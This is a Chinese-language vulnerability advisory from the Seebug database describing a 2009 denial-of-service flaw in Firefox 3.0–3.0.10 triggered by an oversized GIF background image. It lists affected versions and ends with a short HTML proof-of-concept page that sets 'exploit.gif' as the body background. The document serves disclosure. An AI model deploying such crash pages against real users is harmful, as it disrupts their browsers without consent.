Mozilla Firefox超大GIF文件背景拒绝服务漏洞

2009-06-13T00:00:00
ID SSV:11598
Type seebug
Reporter Root
Modified 2009-06-13T00:00:00

Description

Bugraq ID: 35280 CNCAN ID:CNCAN-2009061104

Mozilla Firefox是一款开放源代码的WEB浏览器。 Mozilla Firefox处理超大GIF图像作为背景时存在错误,远程攻击者可以利用漏洞使应用程序崩溃。 构建恶意WEB页,诱使用户打开可触发此漏洞。

Mozilla Firefox 3.0.10 Mozilla Firefox 3.0.9 Mozilla Firefox 3.0.8 Mozilla Firefox 3.0.7 Beta Mozilla Firefox 3.0.7 Mozilla Firefox 3.0.6 Mozilla Firefox 3.0.5 Mozilla Firefox 3.0.4 Mozilla Firefox 3.0.3 Mozilla Firefox 3.0.2 Mozilla Firefox 3.0.1 Mozilla Firefox 3.0 Beta 5 Mozilla Firefox 3.0 目前没有解决方案提供: <a href="http://www.mozilla.org/" target="_blank" rel=external nofollow>http://www.mozilla.org/</a>

                                        
                                            
                                                &lt;!-- Firefox 3.0.10 DOS exploit, discovered by
Ahmad Muammar W.K (y3dips[at]echo[dot]or[dot]id)
http://y3dips.echo.or.id
//--&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Firefox Exploit&lt;/title&gt;
&lt;body background=&quot;exploit.gif&quot;&gt;
&lt;/body&gt;
&lt;/html&gt;